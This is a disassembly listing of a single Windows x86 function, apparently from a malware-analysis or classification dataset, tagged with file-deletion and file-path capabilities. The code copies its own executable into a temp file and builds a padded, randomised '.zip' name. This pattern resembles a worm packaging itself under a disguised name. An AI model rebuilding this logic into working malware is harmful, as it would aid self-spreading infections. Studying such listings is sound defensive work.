Function at 0x406870
Capabilities:
Delete file
Get common file path
Get file size

Disassembly:
sub esp, 0x304
push ebx
push esi
mov esi, dword [esp + 0x310]
push edi
mov byte [esi + 0x1b4], 0
mov byte [esi + 0x1b5], 0
call fcn.00404f20
and eax, 0xffff
mov ecx, 0x64
cdq
idiv ecx
cmp edx, 0x40
jge 0x4068ac
mov byte [esi + 0x1b4], 1
mov al, byte [esi + 0x1b4]
test al, al
jne 0x4068d6
lea ebx, [esi + 0x2b7]
push 0x104
push ebx
push 0
mov byte [esi + 0x1b6], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x406ac5
lea edx, [esp + 0x20c]
mov byte [esi + 0x1b6], 1
push edx
push 0x104
mov byte [esp + 0x214], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov al, byte [esp + 0x20c]
test al, al
je 0x406b3c
lea ebx, [esi + 0x2b7]
lea eax, [esp + 0x20c]
push ebx
push 0
push 0x422940
push eax
mov byte [ebx], 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp byte [ebx], 0
je 0x406b3c
lea ecx, [esp + 0x20c]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [esi + 0x1b5], 0
call fcn.00404f20
and eax, 0xffff
mov ecx, 0x64
cdq
idiv ecx
cmp edx, 0x28
jge 0x406969
mov byte [esi + 0x1b5], 1
mov al, byte [esi + 0x1b5]
test al, al
jne 0x4069a2
lea edx, [esi + 0x1b7]
lea eax, [esp + 0x20c]
push edx
push ebx
push eax
call fcn.00409360
add esp, 0xc
test eax, eax
je 0x406aa9
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x304
ret
lea ecx, [esi + 0x184]
lea edx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0xc]
push 0x4140ac
push eax
call edi
call fcn.00404f20
and eax, 0xffff
mov ecx, 5
cdq
idiv ecx
test edx, edx
je 0x4069fb
jle 0x4069ef
cmp edx, 2
jg 0x4069ef
lea edx, [esp + 0xc]
push 0x42293c
push edx
jmp 0x406a05
lea eax, [esp + 0xc]
push 0x422938
push eax
jmp 0x406a05
lea ecx, [esp + 0xc]
push 0x422934
push ecx
call edi
push ebp
mov ebp, 0x46
lea edx, [esp + 0x10]
push 0x42189c
push edx
call edi
dec ebp
jne 0x406a0d
lea eax, [esp + 0x10]
push 0x4140ac
push eax
call edi
call fcn.00404f20
and eax, 0xffff
mov ecx, 3
cdq
idiv ecx
pop ebp
sub edx, 0
je 0x406a73
dec edx
je 0x406a5b
lea edx, [esp + 0xc]
push 0x422930
push edx
call edi
lea eax, [esp + 0xc]
push 0x42292c
push eax
jmp 0x406a89
lea ecx, [esp + 0xc]
push 0x422928
push ecx
call edi
lea edx, [esp + 0xc]
push 0x422924
push edx
jmp 0x406a89
lea eax, [esp + 0xc]
push 0x422920
push eax
call edi
lea ecx, [esp + 0xc]
push 0x42291c
push ecx
call edi
lea edx, [esp + 0xc]
lea eax, [esp + 0x20c]
push edx
push ebx
push eax
call fcn.00409360
add esp, 0xc
test eax, eax
jne 0x406b3c
lea ecx, [esi + 0x184]
lea edx, [esi + 0x1b7]
push ecx
push str._s.zip
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
push 0x80
push 3
push 0
push 3
push connect
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
test edi, edi
je 0x406b2b
cmp edi, 0xffffffff
je 0x406b2b
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov dword [esi + 0x3bc], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x3bc]
cmp eax, 0x400
jl 0x406b1f
cmp eax, 0x4b000
jg 0x406b1f
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x304
ret
mov al, byte [esi + 0x1b6]
test al, al
je 0x406b3c
jmp 0x406b35
mov al, byte [esi + 0x1b6]
test al, al
je 0x406b3c
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x304
ret